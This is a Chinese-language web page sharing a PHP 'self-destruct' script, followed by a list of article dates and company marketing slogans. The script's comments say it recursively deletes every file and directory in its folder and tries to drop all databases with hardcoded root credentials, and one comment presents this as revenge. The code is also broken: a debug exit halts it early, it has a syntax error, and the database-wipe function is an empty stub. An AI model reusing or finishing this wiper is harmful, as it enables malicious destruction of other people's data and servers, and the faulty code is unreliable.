PHP自毀程序
// +----------------------------------------------------------------------
// | Kill!!
// | 程序將清除本目錄所有文件、目錄
// | 如果設置了數據庫信息,則嘗試刪除所有數據庫和表數據(前提是權限要夠!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +----------------------------------------------------------------------
//----------數據庫配置區域-----------------
//復仇的力量是很可怕的,所以無需指定數據庫,全刪!
define(
'DB_USER'
,
'root'
);
define(
'DB_PWD'
,
'root'
);
define(
'DB_HOST'
,
'localhost'
);
define(
'DB_PORT'
,
'3216'
);
define(
'DB_DAMAGE'
, true);
//為false時,不碰數據庫
run();
/**
* 主體思想必須光輝偉大!
*
* @return void
**/
function
run()
{
//刪除文件
deletedir();
//刪除數據庫
deleteDB();
}
/**
* 呵呵呵,刪除當前目錄所有文件(遞歸)
*
* @return void
**/
function
deletedir(
$dir
=
''
){
if
(
$dir
==
''
) {
$dir
=
realpath
(
'.'
);
}
echo
$dir
;
exit
();
if
(!handle=@opendir(
$dir
)){
//檢測要打開目錄是否存在
die
(
"沒有該目錄"
);
}
while
(false !==(
$file
=readdir(
$handle
))){
if
(
$file
!==
"."
&&
$file
!==
".."
){
//排除當前目錄與父級目錄
$file
=
$dir
.DIRECTORY_SEPARATOR.
$file
;
if
(
is_dir
(
$file
)){
deletedir(
$file
);
}
else
{
if
(@unlink(
$file
)){
echo
"文件$file刪除成功。
"
;
}
else
{
echo
"文件$file刪除失敗!
"
;
}
}
}
if
(@
rmdir
(
$dir
)){
echo
"目錄$dir刪除成功了。
\n"
;
}
else
{
echo
"目錄$dir刪除失敗!
\n"
;
}
}
/**
* 呵呵呵,刪除數據庫
*
* @return void
**/
function
deleteDB()
{
if
(DB_DAMAGE === true){
//start
}
}
推薦文章
2025-01-18
2024-11-28
2024-11-09
2024-10-25
2024-06-25
2024-01-04
2023-11-06
2023-10-30
2023-10-13
2023-10-10
穩定
產品高可用性高并發貼心
項目群及時溝通專業
產品經理1v1支持快速
MVP模式小步快跑承諾
我們選擇聲譽堅持
10年專注高端品質開發